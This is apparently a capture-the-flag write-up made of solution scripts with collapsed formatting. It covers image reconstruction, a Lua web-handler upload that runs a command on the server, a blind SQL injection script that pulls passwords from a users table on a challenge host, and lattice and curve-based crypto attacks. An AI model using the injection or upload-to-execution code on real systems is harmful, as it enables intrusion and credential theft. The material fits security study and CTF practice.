from PIL import Image import matplotlib.pyplot as plt f1 = open('data1') c1 = f1.read() c1 = c1.split(' ') print(c1) print(len(c1)) f = open('data2','rb') c = f.read() res = [] for i inrange(len(c)//3): yyy = c[i*3:i*3+3] r,g,b = yyy[0],yyy[1],yyy[2] res.append((r,g,b)) print(len(res)) print(res) rr = [] for i in c1[:-1]: rr.append(res[int(i)]) print(rr) a = 191 b = 37 img = Image.new('RGB',(b,a),(255,255,255)) for j inrange(b): for i inrange(a): img.putpixel((j,i),rr[i+j*a]) plt.imshow(img) img.save('flag.png')
AddHandler lua-script .lua require "string" --[[ This is the default method name for Lua handlers, see the optional function-name in the LuaMapHandler directive to choose a different entry point. --]] function handle(r) r.content_type = "text/plain" r:puts("Hello Lua World!\n") local t = io.popen('/readflag') local a = t:read("*all") r:puts(a) if r.method == 'GET' then for k, v in pairs( r:parseargs() ) do r:puts( string.format("%s: %s\n", k, v) ) end else r:puts("Unsupported HTTP method " .. r.method) end end
最后去访问 3.lua 即可得到flag
WebsiteManger
sql盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requests url='http://eci-2zeg1tmyhxfbqrmxi9m1.cloudeci1.ichunqiu.com/image.php?id=3' payload='^((ascii(substr((select(group_concat(password))from(users)),{},1)))={})' s='1234567890abcdef' for i inrange(1,30): for b in s: payloads=payload.format(i,ord(b)) a=requests.get(url+payloads) #print(url+payloads) iflen(a.text)<19000: print(b) break else: pass
import math from decimal import * import random import struct getcontext().prec = int(100) primes = [2] for i inrange(3, 100): f = True for j in primes: if i * i < j: break if i % j == 0: f = False break if f: primes.append(i) keys = [] for i inrange(len(primes)): keys.append(Decimal(int(primes[i])).ln()) arr = [] for v in keys: arr.append(int(v * int(16) ** int(64))) ct = 597952043660446249020184773232983974017780255881942379044454676980646417087515453 defencrypt(res): h = Decimal(int(0)) for i inrange(len(keys)): h += res[i] * keys[i] ct = int(h * int(16)**int(64)) return ct deff(N): ln = len(arr) A = Matrix(ZZ, ln + 1, ln + 1) for i inrange(ln): A[i, i] = 1 A[i, ln] = arr[i] // N A[ln, i] = 64 A[ln, ln] = ct // N res = A.LLL() for i inrange(ln + 1): flag = True for j inrange(ln): if -64 <= res[i][j] < 64: continue flag = False break if flag: vec = [int(v + 64) for v in res[i][:-1]] ret = encrypt(vec) if ret == ct: print(N, bytes(vec)) else: print("NO", ret, bytes(vec)) for i inrange(2, 10000): print(i) f(i)
import itertools import struct p = 10000000000000001119 R.<x> = GF(p)[]; y=x f = y + prod(map(eval, 'yyyyyyy')) C = HyperellipticCurve(f, 0) J = C.jacobian() Ds = [J(C(x, min(f(x).sqrt(0,1)))) for x in (11,22,33)] enc = bytes.fromhex('66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5') known_pt = b"a"*20 + b"flag" rng_output = bytes(e^^m for e,m inzip(enc, known_pt)) blocks = [rng_output[i:i+8] for i inrange(0, len(rng_output), 8)] ui = [int.from_bytes(r, 'little') for r in blocks] u = x^3 + ui[2]*x^2 + ui[1]*x + ui[0] L = GF(p).algebraic_closure() roots = [r[0] for r in u.change_ring(L).roots()] RR.<zz> = PolynomialRing(L) v = RR.lagrange_polynomial([(xi, f(xi).sqrt()) for xi in roots]) vi = [v.coefficients()[i].as_finite_field_element()[1] for i inrange(3)] vi = [(int(-c), int(c)) for c in vi] for rs in itertools.product(*vi): q = struct.pack('<'+'Q'*len(rs), *rs) flag = bytes(k^^m for k,m inzip(2*(rng_output+q), enc)) print(flag)